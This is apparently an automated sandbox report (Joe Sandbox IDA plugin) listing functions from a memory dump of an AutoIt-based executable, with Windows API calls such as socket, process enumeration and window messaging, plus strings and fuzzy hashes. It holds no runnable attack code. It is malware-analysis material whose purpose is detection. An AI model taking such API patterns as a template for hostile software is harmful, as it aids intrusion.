Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 5927d0474dcb6b95bb4fe496040508c4c4d5485e5f6f0b7c7c3bd3fc4f8c552f
Instruction ID: 24b1ffb55821fd2237094797f486913d7ddd482b1fb6df4cfa4ce9587f82889f
Opcode Fuzzy Hash: 5927d0474dcb6b95bb4fe496040508c4c4d5485e5f6f0b7c7c3bd3fc4f8c552f
Instruction Fuzzy Hash: 0741C3B22093019FD720DF25D844F1ABBE8EF85711F008A1DF9A5972D1D770E904CB62

Function 00974416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0097CC08,00000000,?,?,?,?), ref: 009744AA
GetWindowLongW.USER32 ref: 009744C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 009744D7

Strings

SysTreeView32, xrefs: 0097447C

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: df5f5b4666d1d4a68a3329a2074314080f2db72e0f152c967e7bf7a00478dcb0
Instruction ID: 08d2b3f34708a84ba2e9513359b158b8be7ab94b61b10f0c2b8e3194061db798
Opcode Fuzzy Hash: df5f5b4666d1d4a68a3329a2074314080f2db72e0f152c967e7bf7a00478dcb0
Instruction Fuzzy Hash: EF318F72214605AFDF218E38DC45BEA77A9EB49334F208715F979D21E1DB70EC90AB50

Function 0096304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0096335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00963077,?,?), ref: 00963378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0096307A
_wcslen.LIBCMT ref: 0096309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00963106

Strings

255.255.255.255, xrefs: 00963095, 0096309A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: ccf7c189b4a9d92af62d3caba4f18cc0561bb1fc336810f576e5841cd5384eff
Instruction ID: c7a38d3f974b15b4f72775757170495dd8a8833e9aa3258da27ffd11a14ac71b
Opcode Fuzzy Hash: ccf7c189b4a9d92af62d3caba4f18cc0561bb1fc336810f576e5841cd5384eff
Instruction Fuzzy Hash: 0F3104352042019FCB20CF28C485EAA77E4EF55318F25C059E9158F392CB72EF85C761

Function 00974653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00974705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00974713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0097471A

Strings

msctls_updown32, xrefs: 00974684

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: bed3365a7e529818688dc13c7a4419e00eeb9da0bbf7e6453ef26212a68ae325
Instruction ID: 43f29ceb5d918ee2193e684f15ed106b3541d3395f517db4070885c54efdb04b
Opcode Fuzzy Hash: bed3365a7e529818688dc13c7a4419e00eeb9da0bbf7e6453ef26212a68ae325
Instruction Fuzzy Hash: 7121A1B6604209AFDB14DF68DCD1DB737ADEF8A7A8B004149FA049B251CB30EC11DB60

Function 009495AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0094961D

Strings

#notrayicon, xrefs: 009495B7
#requireadmin, xrefs: 009495D9
#OnAutoItStartRegister, xrefs: 009495F3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: aab50eaa7540d94e8809dc500e9a1012442cd03f6302f25e330bbe8f3a40f016
Instruction ID: 86ae42afa664ef09d8a97a2c44420ca9eea450817f9a8cf6f0a66cbe774958f7
Opcode Fuzzy Hash: aab50eaa7540d94e8809dc500e9a1012442cd03f6302f25e330bbe8f3a40f016
Instruction Fuzzy Hash: 612157722142506AC335BB29EC16FBB73DCEFA1324F10842AFD49DB081EB55AD81C295

Function 009737B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00973840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00973850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00973876

Strings

Listbox, xrefs: 0097380F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 33db41532a0e7ac4da6ddbe3a12b75bc7b7dd8ef280580b4940a0172b857038f
Instruction ID: 41b57ecb5a83baf6cabb7e7de5f8e4894489d1b54abe52abeeb126b6bc9500f0
Opcode Fuzzy Hash: 33db41532a0e7ac4da6ddbe3a12b75bc7b7dd8ef280580b4940a0172b857038f
Instruction Fuzzy Hash: F721B073610118BBEF118F54CC85FAB376EEF89764F10C114F9089B190C671DC5297A0

Function 009549F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00954A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00954A5C
SetErrorMode.KERNEL32(00000000,?,?,0097CC08), ref: 00954AD0

Strings

%lu, xrefs: 00954A6F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: e96bd08b8e63a2cce8f4c3d60366269800e8357efb479ae700b6a9ae56d683b6
Instruction ID: 48e1c76efc9cacd0eb85b10e9d6974a897a4c66f71fc10f414eba1c42d79f59b
Opcode Fuzzy Hash: e96bd08b8e63a2cce8f4c3d60366269800e8357efb479ae700b6a9ae56d683b6
Instruction Fuzzy Hash: CA319171A00108AFDB50DF68C881EAE7BF8EF49308F1480A8F909DB252D771ED85CB61

Function 009741EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0097424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00974264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00974271

Strings

msctls_trackbar32, xrefs: 00974226

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 7f3bf888f23b1ee078984f1650eea93ca23d74249ff4dcc165b4fd2ded4f7566
Instruction ID: f39e6257e8410f108ee74142c0b0012b96d01b82f48c3703d89757dfdd460d9a
Opcode Fuzzy Hash: 7f3bf888f23b1ee078984f1650eea93ca23d74249ff4dcc165b4fd2ded4f7566
Instruction Fuzzy Hash: A8110632344248BEEF205F69CC06FAB3BACEF95B64F114514FA59E20A1D371DC619B54

Function 00942F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

Part of subcall function 00942DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00942DC5
Part of subcall function 00942DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00942DD6
Part of subcall function 00942DA7: GetCurrentThreadId.KERNEL32 ref: 00942DDD
Part of subcall function 00942DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00942DE4

GetFocus.USER32 ref: 00942F78

Part of subcall function 00942DEE: GetParent.USER32(00000000), ref: 00942DF9

GetClassNameW.USER32(?,?,00000100), ref: 00942FC3
EnumChildWindows.USER32(?,0094303B), ref: 00942FEB

Strings

%s%d, xrefs: 00942FFF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 3b202b976d325215b3e3d8ebc8ae80e908124ba3af4fc9479770cd4931ecbecb
Instruction ID: b303d665162da122b7855239dc4149a0b14891e51c7f955261655ee329122907
Opcode Fuzzy Hash: 3b202b976d325215b3e3d8ebc8ae80e908124ba3af4fc9479770cd4931ecbecb
Instruction Fuzzy Hash: E111AFB1600205ABCF157F748C85FEE37AAFFD4318F048079B909EB292DE3099499B60

Function 00975882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 009758C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 009758EE
DrawMenuBar.USER32(?), ref: 009758FD

Strings

0, xrefs: 0097588F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 617ae25beba81a5e136d513fade3f5421e005967996c34fe2359635ab1d6d88a
Instruction ID: 6c94997b93967bfa33a2e4af37d7ba398b1f5d8a49a9fd1b694d16d287dd8b8a
Opcode Fuzzy Hash: 617ae25beba81a5e136d513fade3f5421e005967996c34fe2359635ab1d6d88a
Instruction Fuzzy Hash: 44017932504208EFDB609F21D844BAABBB8FF45360F008099FA4DDA161DB708A84AF21

Function 0093D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0093D3BF
FreeLibrary.KERNEL32 ref: 0093D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 0093D3B9
X64, xrefs: 0093D2A8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 134b892a42bb18fbb2cb83b23dce0020e0eb98eb7fdc5dc19ba9338d48214a0e
Instruction ID: 79059795b4d3256436d6ec76e1ce3b3fbdc4a4db29ce02244dcfb01a1cf53a98
Opcode Fuzzy Hash: 134b892a42bb18fbb2cb83b23dce0020e0eb98eb7fdc5dc19ba9338d48214a0e
Instruction Fuzzy Hash: F9F055B690BB218BD37112206C38AAE3359AF00705F988429F916E2045EB20CE80CEC2

Function 0094007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c08788c1616eee6f559080739ba74115317d1da74d2ee4bc3372bb30bf9fb50
Instruction ID: 6f4455df1ddaa773d6f3347347a11d1769cea07ca7f0176ffa878d7175a9755b
Opcode Fuzzy Hash: 2c08788c1616eee6f559080739ba74115317d1da74d2ee4bc3372bb30bf9fb50
Instruction Fuzzy Hash: 9FC14C75A0020AEFDB14CFA4C894EAEBBB5FF88704F108598E615EB251D771ED41DB90

Function 0096342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00963459
CoUninitialize.OLE32 ref: 00963463
VariantInit.OLEAUT32(?), ref: 0096346E
VariantClear.OLEAUT32(?), ref: 0096371B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 106fb710beccd7f1cc177696f6f346db61c2511039dd39badb8f7b3371ada0b5
Instruction ID: ecac808ce0df68c75a58b93e2774b1c73534628f298cb2c65074fdefdf8aa075
Opcode Fuzzy Hash: 106fb710beccd7f1cc177696f6f346db61c2511039dd39badb8f7b3371ada0b5
Instruction Fuzzy Hash: DAA116756047009FC710DF29C985A2AB7E9FF89714F048859F98ADB362DB30EE05CB92

Function 00940436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0097FC08,?), ref: 009405F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0097FC08,?), ref: 00940608
CLSIDFromProgID.OLE32(?,?,00000000,0097CC40,000000FF,?,00000000,00000800,00000000,?,0097FC08,?), ref: 0094062D
_memcmp.LIBVCRUNTIME ref: 0094064E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 5996e8987ecba48f01d54a0791180a5876edbff77ad8674e5c4d030b2fdd4de5
Instruction ID: d7a443dfd0a0f255739ba4871becaefedcd52c51e39ba9ba7696ab9cc0501251
Opcode Fuzzy Hash: 5996e8987ecba48f01d54a0791180a5876edbff77ad8674e5c4d030b2fdd4de5
Instruction Fuzzy Hash: 8281F975A00109EFCB04DF94C984EEEB7B9FF89315F204598F606AB250DB71AE46CB61

Function 0096A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0096A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0096A6BA

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0096A79C
CloseHandle.KERNEL32(00000000), ref: 0096A7AB

Part of subcall function 008FCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00923303,?), ref: 008FCE8A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: a00af894c9c57b6b3d66d94a6a34e1cf3969056655d5ca769e0a5a5b961cba96
Instruction ID: 7562f496b1162d0873a415d915f774c36f8a2cfa4a8a05c91eb3de89ba27c70a
Opcode Fuzzy Hash: a00af894c9c57b6b3d66d94a6a34e1cf3969056655d5ca769e0a5a5b961cba96
Instruction Fuzzy Hash: 06514C715083409FD710EF29C886A6BBBE8FF89754F40492DF595D7262EB70E904CB92

Function 00921391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009214C0

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8cd172302c2ba53d20598fd0976e3db2a8b55795d44cbd0d84287f16eebc19be
Instruction ID: 26edc3317f2c714eba2aa19562f741a4caab0168c32c480b54107ddb10fa17b7
Opcode Fuzzy Hash: 8cd172302c2ba53d20598fd0976e3db2a8b55795d44cbd0d84287f16eebc19be
Instruction Fuzzy Hash: CD416C31A00125AFDB357BFDBC45BBE3AA8EFE1370F144226F42CD61E5E63449A152A1

Function 00976278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 009762E2
ScreenToClient.USER32(?,?), ref: 00976315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00976382

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: c29f466e4ac074ea2a55d9ed15847792385ba33239d31335fbbeb257a57a3b38
Instruction ID: f6ad3acf272682f561cce66a65d2e39598ff34eb2fc385d739145ff26a36f0c5
Opcode Fuzzy Hash: c29f466e4ac074ea2a55d9ed15847792385ba33239d31335fbbeb257a57a3b38
Instruction Fuzzy Hash: 8B514C72A00649AFCF14DF68D980AAE7BB9FF85360F108259F819972A0D730ED81DB50

Function 00961AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00961AFD
WSAGetLastError.WSOCK32 ref: 00961B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00961B8A
WSAGetLastError.WSOCK32 ref: 00961B94

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 1b9efd61b95ed3a13337afde917d322704a139b11386abfcfbdf3eb636675305
Instruction ID: 70146b392454769c4e944f3344cadceeeafd5ffa5ed7667d09ac0e33424323b3
